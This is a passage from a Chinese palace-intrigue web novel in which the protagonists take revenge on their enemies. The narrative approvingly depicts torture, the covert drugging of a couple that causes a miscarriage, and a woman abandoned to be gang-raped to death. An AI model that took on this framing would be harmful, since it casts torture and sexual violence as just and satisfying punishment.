慌不择路,我跑到一处悬崖边,下面就是东江,他一步步向我靠近。
表姐,我不能失了清白,我不能辱没了容家的门楣。我最终被他逼得跳了崖。呜呜......”
“该死的沈知言,他居然如此大胆,如此丧心病狂。”霍凝玉被气得大骂。
钟离洛听完,长腿一伸就要下马车。
“钟离大哥,你要做什么去?”霍凝玉见他阴沉的脸,能滴出墨来。
“我去宰了那畜生。”钟离洛从没见过这等垃圾。
他打过交道的文人只有霍家人,没想到读书人中还有这么不知廉耻的人。
“慢着,一刀解决了他是不是太便宜他了?应该让他受尽折磨后死,才解恨。”霍凝玉也很想一刀杀了那畜生。
“好。”
“我与你一起去。”赵炳煜骑马跟在马车旁,也听到了容琳媛所说。
这是他失职,只是把人赶出京,可没想到那人居然没死心,还回来纠缠。
读书人这么不要脸的,他还是第一次见。
斯文败类。
赵炳煜和钟离洛离开后,霍家人一起把容琳媛送回家。
跟着她出门的两个丫鬟也刚回来,把事情说了一遍。
两个丫鬟久等不到人,才不得不去找车夫和护卫说明情况。
两个跟去的护卫还留在寺里找人,而丫鬟则回来报信。
容家二爷容怀远和容家长孙容廉晟正带着人准备去护国寺找人。
“二舅舅。”霍鸣昶见一群人从容府匆匆出来,立刻把人叫住。
“二弟,先回府。”霍鹏程向容怀远使了个眼色。
这种事最好不要传出去,不然琳媛的名声也就毁了,再无脸见人。
这时霍凝玉也撩开车帘,容琳媛正坐在车里,被容怀远看了个真切。
“琳媛!”容怀远一看到闺女,吃惊之余,一颗提着的心终于落下,“你......”
“二舅舅,先开门,让马车进去。”霍凝玉点了点头,示意二舅舅不要多说话。
进了容府,大门一关。
直接把马车架到正院门口,容琳媛才从马车里出来,又哇一声哭了出来。
容家人都等在这里,一个个都愁眉不展。
“琳媛,我的儿。”容二夫人三步并作两步跑上前来。
“娘,呜呜......”扑进母亲的怀里,哭得好不伤心。
大家坐定,霍凝玉替容琳媛把事情的经过说了一遍。
“简直无法无天。一个被革了贡士资格的举人,居然也敢如此欺上门来。”容二爷咬牙道,“父亲,这等畜生,直接杀了。”
“老头子,上次我就说不能留他,你非说你是都御史,不可随便要人性命,现在好了,人家根本不怕你这个都御史。”容老夫人被气狠了。
容敬青老脸发烫,他确实考虑到颜面。
赵大人已经把人赶出京城,读
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书人,总要点脸面,定已离开京城。
谁知道那畜生如此丧心病狂。
“这次绝不轻饶。”容敬青做了二十年都御史,第一次见识到这么不要脸的人。
“外祖父,还是让他生不如死为好。那才能得到真正的惩罚。”霍凝玉提醒。
“对,就应该让他生不如死。”容二爷狠声道。
容琳媛好不容易止住哭声,又把事情的经过说得更详细些。
而就在这时,钟离洛提着一个晕迷不醒的人进来。
往地上一丢,正是那个畜生。
他们两人快马到护国寺,刚走到后山,正好遇到容府的两个护卫抓了沈知言出来。
沈知言如疯魔了一般大喊大叫。
说他是贡士,怎么就配不上都御史家的孙女。
他非娶到手不可。
他前途无量。
一嘴的疯言疯语。
钟离洛直接一个手刀把人打晕带走。
“容老大人,就是此人,逼得容三小姐跳崖,要不是正好遇到我们,她此时已经**,如此恶毒之人,您看怎么处理?”钟离洛一拱手。
容怀远没等老父发话,直接抬脚就踢。
毫不腿软。
“你个畜生,敢害我女儿,我踢死你,踢死你。”容怀远作为文人,从没如此生气过,完全不顾形象。
几脚下去,昏迷的沈知言被疼醒。
发出惨叫。
但没人同情。
容怀远的脚并没因他醒了就停止,继续踢。
“你们是什么人?知不知道我可是贡士,你竟敢如此欺辱于我。等我有了一官半职,看我怎么收拾你们。”惨叫中,沈知言还大放厥词。
“估计他已经魔怔了。”霍凝玉走到赵炳煜身边,小声说道。
这人明显已经失常。
“不管他有没有魔怔,犯了事就要承担罪责。”赵炳煜嗤之以鼻。
“容二爷,别踢**。他还得再受些苦,不能这么痛快。”钟离洛拦住容怀远。
容怀远这才停下。
钟离洛也不管正堂里坐着容家的男女老幼,拿出一把**,抓住沈知言的右手,动作利落地一**下去。
第142章 惩罚恶人
挑断了沈知言的手筋。
发出一声更加凄厉的惨叫。
同时几声惊叫发出。
容老夫人,几个丫鬟,还有容大夫人都抬手挡住自己的眼睛。
不敢看啊,太吓人了。
但容二夫人却解气地看着直飙出来的血。
同时把女儿的头压在自己胸前,不让她看。
但那惨叫声就没办法了。
“你是用右手拉容三小姐还是用左手?”钟离洛平静无波的声音却如地狱来的索命阎王。
被疼痛折磨得快晕过去的沈知言大口喘气。
钟离洛的动作并没有停止。
又一**下去。
左手的手筋也被挑断了。
“说,你拉着容三小姐是不是跑得很快?不然怎么可能那么快去到护国寺后山。”钟离洛说着,又一**挑断了他的左脚脚筋。
“说,谁给你的胆子,如此欺辱朝中大臣家的小姐?你就不怕被诛九族吗?
你本就有那么好的妻女,你不知足,还妄想你根本就够不着的贵女。
你也不撒泡尿照照自己长了一副猪狗不如的蠢样。”
钟离洛又一**下去。
沈知言的四肢筋脉全被挑断。
钟离洛从没一次性说这么多话,今日是二十一年来第一次如此话多。
容家人和霍家人都被他的干脆利落惊呆了。
赵炳煜牵住霍凝玉的手,以为她也被吓到了。
然而却看到她的眼睛亮得惊人。
“钟离大哥太棒了。在战场上是不是就要如此杀伐果断?”霍凝玉眼冒星星。
容琳媛也不再哭泣,只刚开始被吓了一下,然后也如霍凝玉一般,看得炯炯有神。
“娘,钟离大哥会不会惹上麻烦?”容琳媛有些担心。
这等于私设公堂,是犯法的。
“放心,他有分寸,赵大人也在呢。”
沈知言疼得在地上打滚,却也缓解不了身上的疼痛。
钟离洛还不想他死,在他的四肢上点了几下,让血流得慢些。
直到沈知言缓过劲来,他才又蹲下身,**在他脸上拍了拍。
“不自量力。”
钟离洛一手按住他,又用**在他额头上刻了两个字:贱民。
又引来一阵惨叫。
“我......我......我错了,放过我,我再也不敢了。”沈知言早已吓破了胆。
他有生以来,哪里见过这等手段。
还是施在他自己身上。
他不过是壮着胆子,想为自己再博一博。
没想到容家小姐如此决绝,直接跳崖。
他当时就吓傻了。
回过神来就想逃,结果被容家的护卫抓住。
可他并没有承认是他约了容家小姐。
反正人已经**,早不知被水冲去了哪里,无论如何也不会找到证据是他做的。
然而他怎么也没想到东江水都没把容小姐淹死,还救了回来。
他想辩驳,可连机会都没给他,直接受刑。
“知错了?可惜晚了。你以为你现在还有举人功名在身,就敢为所欲为了?
你也不掂量掂量自己的重量,如果你好好回你自己的家乡,还能平安过个小日子,你却不知足,还想作死。”赵炳煜上前两步,居高临下看着地上的**。
“赵大人,我错了。求求你,饶了我吧。我还有父母,我不能死。我不能让他们白发人送黑发人。”沈知言艰难地爬起来跪到赵炳煜面前。
他知道赵炳煜是什么身份。
就是容老大人都没有他的能耐大。
“哼,你还知道有父母,怎么不知道自己所做的事是在给你沈家蒙羞?
本官不会要你的命,但你现在就是个废人,能活到哪一天就看你自己的本事了。
钟离兄,割了他的舌头,免得他出去乱说话,再丢去城外的破庙里,让他自生自灭吧。”赵炳煜嗤笑道。
他的话真是大快人心。
钟离洛干这活很在行,捏住沈知言的嘴,**一绞,从此他再想说话,只能下辈子了。
赵炳煜让暗卫把沈知言拖了出去。
容怀远让丫鬟端水来给钟离洛洗手。
又让人把地擦干净。
“容某多谢钟离将军。”容怀远向钟离洛深深一揖,换作他绝对做不了这么绝。
“容大人,这个使不得,在下是辈晚。”钟离洛立刻扶住容怀远,刚才的杀伐果断完全不见,又一副有点憨傻模样。
还用手摸了摸自己头。
“哈哈......”
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众人这才轻松笑出声来。
“钟离公子于我容家是恩人,老二向你道个谢是理所应当,难道你让老夫向你道谢?”容敬之看钟离洛越看越觉得这小子实诚。
虽然身份是低了些,但他是武将,武将的升职与文官可不同,以后定前途无量。
“不敢当,不敢当。去年昭勇县主把在下从东江里捞起来,才有在下活命的机会,也才有今日在下救下容三小姐的机会。这就是因果缘分。”钟离洛不敢居功。
要不是他活下来,今日又正好想去当初霍凝玉救下他的地方看看,他也不会正好看到江上飘着东西。
刚看到时,他并没认出那是个人,而是碰运气的心态下的水。
当时天色已经昏暗,如果不细看,很难发现。
霍家人虽也在,未必能看到。
“说得好,这就是缘分。”容敬之对这话很赞同,“老大媳妇,给钟离公子安排个客房,让他在府里休息一晚。”
“是,公爹。”容大夫人让丫鬟领着钟离洛先去换身衣服。
他下水到现在都没换衣服,这么长时间,身上的衣服都快被他暖干了。
霍家人也提出告辞。
容家人一个都没散去。
这时他们收起刚才短暂的笑脸。
“媛儿,跪下。”容敬之突然严厉一喝。
容琳媛乖乖跪到堂中央。
”因为你不知事,与人私相受授,闹出这么大的事,连命都差点不保。你还让容家蒙羞。”容敬之教训道。
这么多年,他从没如此严厉教导过孙女,只有孙儿他才会说重话。
孙女差点没了命让他怒意难消,不得不说几句重话。
“孙女知错。”容琳媛叩了一个头,“孙女让祖父操心了,孙女自罚抄女戒一百遍。”
她是真的被吓坏了。
经历生死,她才真正明白家人对她的关爱和疼宠有多无私。
“我容家从没出过如此不堪之事,今日老夫重整家规,我容家女儿,如若再有此类事情发生,直接送去庵堂,青灯古佛一生,绝不容情。”说完,容敬之在另几个孙女脸上扫过。
所有人齐齐跪下:“谨遵家规。”
“散了吧,老二两口子留下。”容敬之摆了摆手。
第143章 夜探谢家
容老夫人也没走。
两夫妻膝行几步,离老两口更近些。
“父亲,母亲,都是我们没教导好琳媛,让二老操心了。”容怀远认错。
“都是儿媳的错,是儿媳把琳媛宠坏了。”容二夫人也认错。
这是她唯一的嫡女,前面是儿子,后面两个也是儿子,就宠得过了些。
“老头子,琳媛也是个好的,只是少女怀春时,被人给迷惑了。以为读书人个个都是知理的。哪里知道外面的人心险恶。”容老夫人也疼这个孙女。
这个孙女并不骄横跋扈,也是知书达理的好姑娘,只是太天真了些。
“还是快些把她的婚事定下吧。她现在名声也坏了,也不求多富贵的人家,只要不计较琳媛曾闹出的事,又能好好待她的就行。”容敬之捏了捏眉心。
他做了二十年都御史,一生刚正不阿,却因孙女闹出的事被人笑话。
“老头子,琳媛已经知道错了,不能随便挑个人来毁了她的一生啊。”容老夫人不同意如此草率定下孙女的婚事。
“我没说要毁了她的一生,只要人诚实,也别求门当户对了,下嫁吧,有我容家在,也能让她在夫家有底气,只要她安心过日子,也能有个圆满的人生。”容敬之叹了口气。
以前他也讲究门当户对,现在出了这样的事,他只能委屈孩子了。
“父亲,儿媳有个想法,钟离公子今晚为琳媛出头,放榜那日也是钟离公子把人抱回府的,他为人正直,也没什么花花肠子,咱们把他招为婿,可行?”容二夫人今日看到钟离洛的表现,早就在心里思量了几个圈。
这样的男人虽然粗了些,但一旦疼起媳妇来,定是入心入肺。
女儿与他一个刚,一个柔,说不定才是真正的天作之合。
老两口对钟离洛的认知仅限于知道他是武状元,还有今晚的“凶残”,其他不知。
容家是文人之家,家里的姑娘都是嫁入文人之家,没和武将打过交道。
而今晚钟离洛不顾现场还有那么多女眷在,就干脆利落地挑了那恶人的手脚筋,虽解恨,可行为有点激进了些。
“你舍得把你女儿嫁给一个粗人?”容老夫人想了想问道。
刚才她也被吓得不轻。
琳媛那娇娇的样子能与他成为恩爱夫妻?
“婆母,夫妻讲究缘分,只要钟离公子是爱重琳媛的,他自会轻柔以待。他今晚如此手段,就是在为琳媛出气,估计他们之间或许已经有了情义,可能他们自己都不知道。”
知女莫若母,容二夫人对女儿的反应还是有感觉的。
“老二,一会儿你去客院问问钟离公子的意思。如果他真有意,那这事就这么定了。”容敬之很果断。
“老头子,哪有上赶着嫁女儿的?这事不能我们主动去问,还是让华芝出面问问更好。他一直就住在霍家,华芝应该更了解钟离公子。”容老夫人作为女人,想得更周全。
“婆母,明日端午,我就找妹妹说说这事。”容二夫人越想越觉得女儿配钟离公子十分合适。
虽是个庶子,但他是武将,前途不靠祖荫,靠自己。
赵炳煜把霍家人送回家后并没有回自己的府里,而是去悦景茶楼吃了点东西,换了身黑衣,去了忠义伯府。
今日他受到的震动如地龙翻身。
他的凝玉竟能重活一世。
前世她嫁入了谢家,却被谢正阳和江宁给毒死。
**也就罢了,知道了,怎么可能什么也不做?
霍家一直对谢家没有行动,那是因为霍家是文人之家,没有人手。谢家是以武起家,院里的护卫就是霍家没法比的。
他悄悄跃进谢府。
院里有护院巡视。
忠义伯也有两个武功不弱的护卫。
但与赵炳煜比自是差得远。
悄悄爬上外院书房,轻轻揭开一片瓦,不发出半丝声音。
忠义伯和谢正阳正在书房里谈事。
“父亲,儿子在巡城司实在没多大意思,能不能想个办法让我进禁卫军?”谢正阳每天都在大街上跑,实在没有成就感。
京城外是京畿营,是南楚的常备军,二十万,由几个将军统领。
京城里负责整个皇城安全的禁卫军,有两万人。
可巡城司只是管普通百姓的日常。
哪里有**的,哪里有打架斗殴的,哪里有小偷小摸的,他们巡城司管,再协助京兆府抓人,尽是些鸡毛蒜皮的小事。
“你已是巡城司使,虽然只管一个区,但也是多少人奋斗一辈子都得不到的位置。”忠义伯感觉儿子有点不务实
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“可没有前途,再这么干下去,十年后我还是巡城司使。”
“你不要忘了,东城门也在你的管辖之内。以后万一有需要......不用为父多说,你应该明白其重要性。”忠义伯说得够明显了。
谢正阳瞬间懂了父亲的意思。
如果有特殊需要,他可以利用自己的权利开方便之门。
“是,儿子明白了。”谢正阳被安抚到,“爹,我什么时候才能恢复世子的身份?”
这都大半年过去,父亲也没提什么时候上书圣上复批。
自从二弟没了霍鹏程指导功课,成绩一落千丈,他从文的心已经淡了,就在母亲面前撒娇卖乖,想让母亲在父亲面前说好话,立他为世子。
有他这个嫡长子在,哪轮得到二弟,这不是倒反天罡吗?
“还不是你自己作的。”说到这个,谢勋就想骂一顿大儿子,可看到儿媳妇就在旁边写字,他又生生压下去,“此事以后都不要提起,等皇上西去以后再说。等新皇登基,说不定我谢家还能更上一层楼。”
谢正阳还想再说什么,谢勋摆了摆手,阻止。
“江宁。”他唤了一声儿媳妇。
“公爹。”江宁放下笔,从角落的书桌处走过来。
“辰王交给你的任务,明日务必做好,不得有半点闪失,同时也不能暴露你自己,给我谢家招祸。”谢勋叮嘱道。
“公爹放心,我娘配出的药,不会让人察觉。就算太医来了也查不出问题。”江宁对自己母亲的医术十分信服。
“那就好,六公主只能进辰王府,辰王的势力大了,他的胜算才更大,我们的努力才不会白费。如若不然,我谢家满门都有可能一起陪葬。”
谢勋对儿媳妇的聪明很满意。
除了出身不好,脑子确实比霍家那傻丫头强得多。
要是她是霍家的亲女就更好了。
哎,世上没有十全十美的事情。
听到此话的赵炳煜眼神凛冽,居然敢打东临六公主的主意。
吃了熊心豹子胆了。
只是他们要如何做,却没有提及。
江宁的母亲,一个不起眼的人物,也起了很大的作用,医术就是她最大的优势,也是被辰王和大公主看中的关键。
看来这个人不能留。
第144章 江宁又小产
“你也别练得太晚,注意身体,我走了。”谢勋交代一句,出了书房。
“宁儿,天晚了,我们也去休息吧。”谢正阳扶着江宁。
“夫君,我还想再练一会儿,万一辰王哪天有需要,而我还没达到让人分辨不出的程度,是会给辰王招祸的。”江宁最近都很努力,她想做到无可挑剔。
“可是你已经有两个月身孕,我怕你累着。”谢正阳很心疼。
“没事的,现在才亥时初,自从我怀孕,婆母就免了我的晨昏定省,明早我可以起迟一些。
你知道的,我做这事不能让任何人知道,只有晚上才能来书房练习一下。”江宁轻轻推了推他。
她又走到角落的书桌上继续写字。
赵炳煜所在的位置正好是江宁的头顶,刚才只顾着听他们谈些什么,并没有看江宁写的什么。
而当他看到江宁所写的字时,眼睛猛地一凝。
写出的每一个字他都特别熟悉,不是认识那些字,而是那些字的笔迹,与皇伯父写出来的字几乎一模一样。
难怪凝玉说江宁能帮辰王构陷霍家,原来她竟然有这个本事。
今日时间太短,霍凝玉只大概讲了她的前世,并没有讲得很细。
有此奇才的人不是没有,但要想把一个人的字模仿到天衣无缝,基本不可能。
而江宁却是他见过模仿得最像的,而且她还在天天练习,可见她能做到什么程度。
赵炳煜本想直接给她教训的想法停了下来。
江宁有如此本事,辰王定会好好利用。
一味打压辰王一派并不是最明智的做法。
凝玉一直采用的是折辰王羽翼的办法。
然,春风吹又生,下去一个,辰王再找下一个,作用并不大,不过是损些钱财。
只有把他养肥,胆子养大,才能在爆发的那一天,让辰王再无翻身的可能。
出了谢府,赵炳煜在马车里**了良久。
“青雨。”
赵炳煜身边的三个暗卫分别叫青雨,青云,青凌。
“属下在。”一个暗卫在车门外应声。
“交给你一个任务。”
叫青雨的暗卫站到窗边。
赵炳煜悄声交代几句,并从怀里拿出一个药瓶给他。
青雨接了任务离去。
而他又让暗卫驾着马车往容府而去。
赵炳煜又悄悄进了容府,找到钟离洛休息的房间,刚一落地,钟离洛的攻击就到了眼前。
“这么警觉。”赵炳煜架住他打过来的拳头。
“赵大人?这么晚了,找我何事?”钟离洛也没点灯,摸黑坐到桌前。
“想请你杀一个人。”赵炳煜说得直接。
“**是犯法的。”钟离洛并不接。
两人之间关系很微妙,说朋友谈不上,但只要事情与霍凝玉或者她的亲人朋友有关,两人又能无间合作。
“那人就是害得凝玉差点失身给袁家公子的凶手之一。”赵炳煜淡声道。
“是谁?”钟离洛一听是害霍凝玉的人,便义不容辞。
“忠义伯府谢少夫人的母亲,杨玲珑。目前在大公主府。她医术了得,深藏在内宅,一般不出门,但她提供给江宁的药却害过凝玉两次。
母女俩为了攀上高枝,计划等凝玉嫁入谢家后,再用**害死凝玉,然后再以续弦的身份嫁入谢家。幸好被凝玉提前知晓才逃过一劫。
以后一旦有机会,她们母女还会害凝玉或者霍家人。而明日,她受辰王指使,打算继续算计的人,还是东临的六公主。所以杨氏这个人不能留。”赵炳煜不介意透露一些重要消息给他。
既然江宁还不能死,那就先除去她的母亲,以后她就没有那么方便用药害人了。
“什么?我现在就去宰了她。”钟离洛不知道霍凝玉还遇到过这样的算计,快速开始穿衣。
“不用宰,我会引她出大公主府,到时你再......”赵炳煜悄声在他耳边嘀咕了几句。
两人一起如风般出了容府,没引起任何人的注意。
赵炳煜带着钟离洛又来到谢府。
青雨现身:“主子。”
“怎么样?”
“两人刚睡着,属下就已经下了药。”青雨面无表情回道,并没有因自己刚才所做之事而有情绪变化。
“钟离兄,上次你没看成好戏,今晚本官让你把上次的遗憾补上。”赵炳煜阴郁的语调,引得钟离洛斜了他一眼。
两人跃上房顶,来到谢正阳夫妻所睡的房顶。
里面什么动静都没有。
角落里一盏昏黄的油灯亮着。
朦胧中,对于视力不好的人来讲,什么也看不清。
但赵炳煜两人都是习武之人,夜视能力奇好。
透过薄薄的纱幔,谢正阳和江宁都熟睡着。
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但仔细看,就能看到两人在睡梦中都在皱眉。
江宁更是不自觉开始扯寝衣。
谢正阳也迷迷糊糊开始扭动起身子来。
“宁儿。”也不知是梦中还是已经清醒。
总之,两人都在半梦半醒间,就开始了运动。
从开始的温柔缱绻,到不顾一切,只知道索取。
两人都在药物的控制下不知节制。
“赵大人,你带我来就为了看这个?”钟离洛幸幸然。
他对看别人的活春宫不感兴趣。
只瞄了几眼就只听个音。
“别急,夜色漫漫,离天亮还早呢,总要打发时间。”
直到一个时辰之后,谢正阳夫妻俩终于清醒过来,才知道都做了些什么?
可是两人都不知道怎么回事。
赵炳煜用的药,不用吃进肚子里,只需在两人的鼻息前闻闻就有效果。
青雨只是滴了几滴在两人鼻端前,这么长时间,早就挥发得差不多。
江宁不是喜欢用情药吗?同样的招数,他也会用。
还没让她失了贞洁,不过是让她与自己的夫君放纵一下而已。
知道江宁有那个本事后,他不想江宁死得那么快了,他得让她在关键时候把辰王推到顶点再跌落。
只能小小的惩戒一番。
“啊,夫君,不好。我......我......”江宁的低叫声传到房顶。
赵炳煜听到这声叫,嘴角勾起一抹邪魅的笑。
“怎么了?”谢正阳急问。
“我出血了,可能又小产了。”江宁伤心地哭了起来。
“什么?来人,快来人。”谢正阳惊慌大叫。
外间值守的丁香匆匆进来。
“姑爷,发生什么事了?”
“丁香,快,快去大公主府把岳母请来,要快。”谢正阳只想到杨氏。
宁儿的身体都是岳母看诊和调理的。
他不相信任何人。
家里还有姨娘,万一是姨娘见不得他好,要害他的孩子呢。
母亲与姨娘天天交锋,他看在眼里,可也没办法。
深更半夜一个丫鬟要出门可不容易,谢正阳亲自去把二门打开,叫醒府里的车夫送丁香去大公主府。
他不敢离开,他得守着宁儿。
此时已是凌晨丑时。
赵炳煜知道事情成了。
“走,钟离兄,该你上场了。”
第145章 杨氏死
如来时一般,两人悄悄离开了谢府。
丁香忐忑不安地来到大公主府的后门,用尽了全力才把守门的婆子吵起来。
说了请求,又是下跪,又是给银子,才让那婆子把话传进去。
杨氏并没有住在内院,而是住在公主府的后罩房,专给下人住的地方。
但大公主看中她的医术,单独给她安排了一间房。
得知女儿又出事了,杨氏匆匆穿了衣服就出了公主府。
上了马车就急切问道:“到底怎么回事?”
“夫人,奴婢也不知道,姑爷只说小姐出事了,让奴婢连夜来请夫人。”丁香如实回道。
她的确不知道发生了什么事,走之前只看到小姐哭得很伤心。
马车被车夫赶得飞快,也不怕巡城司的人发现。
而就在此时,马车却突然失控,根本不听车夫的驱使。
车夫在一个大转弯处被甩下了马车。
马车继续在城里毫无方向地乱跑,其实是向南城区跑去。
没有人驾驶的马车,东倒西歪,两个女人在里面想要稳住身子,难上加难。
两人在车壁上不知道撞了多少回。
丁香第一个被撞晕过去。
接着杨氏在一个猛甩时,也被撞晕了过去。
钟离洛适时出现,几个跳跃,攀上马车,把马控制住。
再把杨氏提了出来。
又在马屁股上拍了一掌。
马没再发疯,慢慢悠悠向前走去。
老马识途,居然向谢府的方向而去。
钟离洛提着杨氏,来到南城区某个脏乱的巷子里,把人丢进一个乞丐**的破房子里。
正好砸到其中一个乞丐。
被砸醒后,那乞丐闻到一股香香的味道,如那些贵妇人身上散发出来的香粉味。
用手一摸,居然摸到柔软的绸布。
再摸,居然是女人的身子,和说书先生讲的那种感觉一模一样。
柔滑细腻。
一辈子没碰过女人的悲哀瞬间袭上心头。
这真的是女人吗?
乞丐不太相信自己的直觉。
又胡乱摸了一通,才确定。
常年乞讨的人,自然听过不少内宅的阴私事。
不知是哪家的主母要收拾小妾,想铲除争宠的小贱蹄子。
这等好事,让他遇到了,真是天可怜他。
二话不说就开始行动起来。
而他的动作引得旁边人也醒了。
“喂,吴三,你在干嘛,大半夜的不睡觉。”
吴三兴奋得忘乎所以。
“女人,老子在享用女人。”
“什么?”
这下不得了,一个个都是饿狼。
杨氏被弄醒,大喊大叫,可是没用,被这么多饿狼围住,几个巴掌下去,她想叫都叫不出来。
最终承受不住,晕了过去。
晕了,那些饿狼也没放弃这难得的机会,直到杨氏咽下最后一口气。
钟离洛和赵炳煜站在黑暗中看着那些疯狂的乞丐如饿虎扑食般分食着杨氏。
没有半点同情她。
赵炳煜更是觉得大快人心。
不知感恩的东西,还把女儿教养成只知道攀权附贵的势利女。
要不是她野心勃勃,怎会把自己的女儿教养成那么歹毒的女人。
霍家没有对不起她们母女分毫,却要踩着凝玉的尸骨嫁入谢家,这样居然还不够,还要害霍家满门。
天下怎么有如此狼心狗肺的东西。
霍家人良善,手段温柔,但他不会手软。
那些乞丐见杨氏没了气息,知道此地不能再留,一哄而散,各奔一个方向。
“走吧。”赵炳煜没有因杨氏的死而快乐,反而心情更加沉重。
凝玉是怎么挺过那五年的?
勇敢的姑娘,以后他决不让她再遇到痛苦的事。
钟离洛也转身,走在赵炳煜身边。
“赵大人,今晚这事,你明明可以一个人来做,为何带上我?”钟离洛虽是个武夫,但不傻。
这事赵炳煜完全可以一个人搞定。
“钟离兄,本官要出一趟远门,想请你与我同行,去办一件圣上交代与我的差事。你可愿意?”赵炳煜也不卖关子。
今晚他用此事来试探钟离洛的心性。
他毫不犹豫当着容家人的面就挑了沈知言的手脚筋,让他看到了钟离洛果绝的一面。
但那还不够,所以杨氏的事,他又让他来做,再看看他够不够心狠手辣。
不错,没让他失望。
“哦?什么差事?”钟离洛这才明白。
当赵炳煜把要办的差事低语了一遍时,钟离洛双眼放光。
“我去。”半点不犹豫,钟离洛就被赵炳煜抛出来的诱饵给吸引了。
“好,等城门一开,
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你就出城向你的上官请好假,我们后天出发。这是我的腰牌,你的上官见了自会批你假。”
谢正阳院里闹出的动静还是惊动了忠义伯夫妻。
当得知江宁可能又小产了时,夏氏直接给了谢正阳一耳光。
“你不知道你媳妇在孕期吗?上一次是被人下了药,这次呢,难道半夜三更也有人到你房里来下药吗?”忠义伯夫人就盼着抱孙子。
上一次她都还不知道就没了,这次又没了。
简直要气死她了。
儿媳妇本不得她喜欢,可伯爷说她有大本事,让她好好待她。
而且还是个好生养的,短短时间就怀了两次孕。
她才接受了这么一个没家世的儿媳妇,好在她傍上了大公主这座靠山。
“母亲,我......我与宁儿也不知道怎么了,半梦半醒中就......等我们清醒时却已经犯下错事。”谢正阳感觉跟中了邪似的。
可他也说不清楚是怎么回事。
“荒唐。”谢勋狠狠一甩手。
“父亲,一定是有人给我们下了药。”谢正阳只能如此说,才能解释得通他和宁儿究竟怎么了。
“谁给你下药,你今晚吃下去的东西早就变成屎了,要**早就中了,还能等到现在不成?”谢勋怎么可能相信是被人下药。
夏宜宣还是听进去了两分,让丫鬟赶紧查看一下卧室里。
可是把犄角旮旯都仔细查看过了,也没发现有什么异常的东西。
江宁躺在床上,双目无神,她怀了两次,两次都因与夫君行房把孩子给做没了。
第一次是被霍凝玉反算计,可这次怎么也联系不到霍凝玉身上。
难道是伯爷的妾室见不得她怀孕生子?
只有这种可能。
该死的,她的身子还不知道因小产受多大的伤害。
幸好母亲医术高明,要是换作别的女人,两次小产身子肯定坏了。
“岳母怎么还没来?”谢正阳急得满头大汗。
而他们这一等就等了一个多时辰也没等到杨氏来。
“难道丁香进不了大公主府?父亲母亲,我亲自去跑一趟。你们照看着宁儿。”谢正阳实在等不及了。
就在这时,门外传来急促的脚步声。
“大公子,丁香回来了。”谢正阳的长随卓津匆匆进来,怀里抱着一个人。
第146章 不能生了
“丁香?她怎么昏迷不醒?”夏宜宣惊呼。
“大公子,小的在府门外等着,看到马车回来,可是却没有车夫,马是自己回来的。小的上车就看到丁香头发散乱歪在马车里,头上撞了好几个包。”
卓津见此情景,就知道出事了,立刻把人抱进来。
这可是他看准的媳妇人选,他心疼得滴血。
“快,快把她弄醒。”夏宜宣叫道。
卓津把人放到软榻上,用力摇晃几下,可是没醒。
“掐人中。”夏宜宣气急败坏。
卓津只得狠心掐丁香的人中。
直到快掐出血,丁香才幽幽转醒。
“啊!”刚一醒来,丁香就发出一声尖叫。
马车狂奔带给她的恐惧犹在。
“丁香,不用怕,快说,发生什么事了?”卓津安抚道。
丁香听到熟悉的声音才回过神来。
眼睛在屋里几人身上扫过,才确认自己真的安全了。
“姑爷,马疯了,奴婢与夫人在马车里根本控制不住身体,奴婢被撞晕了,后面的事不知道。”丁香想到之前的经历,心有余悸。
“什么?”江宁听到这个结果,再也躺不住,就要起身。
“卓津,车里只有丁香?”谢正阳阴沉着脸问道。
“回大公子,只有丁香。”卓津立即回答。
“宁儿,我这就派人去找。卓津,你再去请个大夫来给宁儿看诊。”谢正阳急匆匆出了门。
他是巡城司使,出门不受宵禁影响,安排自己的下属找人。
最先找到车夫。
他被甩下车时,正好撞在一个石阶上,当场晕过去,等他醒来时,发现自己躺在地上,摸着起了大包的头准备回府时,正好遇到巡城司的人,在他的指引下知道了马车跑去的方向。
可是老马识途,又自己回了谢府。
这就加大了寻找的难度。
直到天光大亮也没找到人。
谢家另请的大夫诊脉后,摇了摇头。
“大夫,怎么样?”夏宜宣还抱着一丝希望。
“伯夫人,少夫人这是小产了。短短时间小产了两次,对她的身子伤害实在有些大,老夫只能先给她止血,好好调养一段时间。只是以后......”老大夫顿住,不忍说出残忍的话来。
“以后怎么了?”夏宜宣看着大夫的犹豫,那点希望渐渐熄灭。
“以后恐怕再难有子嗣。”老大夫还是说把对女子来说最残忍的话说了出来。
“什,什么?”夏宜宣身子一晃。
不能生了?
那不就成废物了?
江宁听了老大夫的话,虽也惊慌,但并不绝望,她母亲的医术比这老大夫好得多,只要母亲来了,定能调养好她的身体。
然而直到天都大亮了,也没等来她的母亲。
谢正阳自出去就没回来过。
说明几个时辰过去也没找到她母亲。
江宁的心开始不安起来。
直到上午巳时,谢正阳才回来。
“正阳,找到了我母亲了吗?”江宁焦急问道。
“宁儿,还没找到。”谢正阳很沮丧,所有的街道都找了一遍也没找到人。
他还让人把所有的医馆都看了一遍,也没有受伤被好心人送去的人。
真是奇怪。
“呜呜......”江宁一听这么久都没找到,伤心哭泣起来,“她能去哪里?难道遇到**了吗?”
“京城哪里来的**?”
“正阳,有没有可能被某家红楼给带走了?”江宁想到一种可能。
母亲虽已三十多岁,但保养得当,说她二十几岁也不为过。
要是真被劫去了那种地方,母亲还怎么活。
江宁把自己的这个想法一说,谢正阳立刻又出了谢府。
红楼都是晚上营业,如果岳母被甩下车时,正好在柳街附近,还真有可能落入烟花之地。
想到那个后果,谢正阳惊出一身冷汗,出门的脚步走得更快了。
今日是端午节,江宁还有一个更重要的事要做,为了自己的前程,哪怕刚小产过后,她也要强撑着出席。
怀孕只有两个月,只是出了点血,喝了药,出血控制住,没有刚开始那么严重了。
江宁让丫鬟给她画了浓浓的妆,跟在夏宜宣身后,去往东江边。
乾德帝很注重每个节日的热闹气氛。
每年端午都会鼓励京城各世家,商家或者书院等组队报名进行龙舟赛。
京兆尹梁启明是整个比赛的组织者。
他早早就让人在最佳位置准备了一个大大的看台。
比赛结束后就去大公主的落梅庄用饭,相当于端午宫宴。
霍鸣昶一大早就去了国
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子监。
国子监也组队报名了,而他就是队长,且还是鼓手。
霍凝玉一家在霍鹏程的带领下来到东江边,被安排上了看台。
看台由低到高,大约有一丈,圣上的位置自然是在最顶上。
霍家的位置也不错,倒数第三个台阶。
有了高台,视野开阔。
他们刚到,圣上的銮驾就到了,所有人跪拜行礼迎接。
“众爱卿平身,今日佳节,不必拘礼,都欢欢喜喜看比赛。”乾德帝最喜这种热闹。
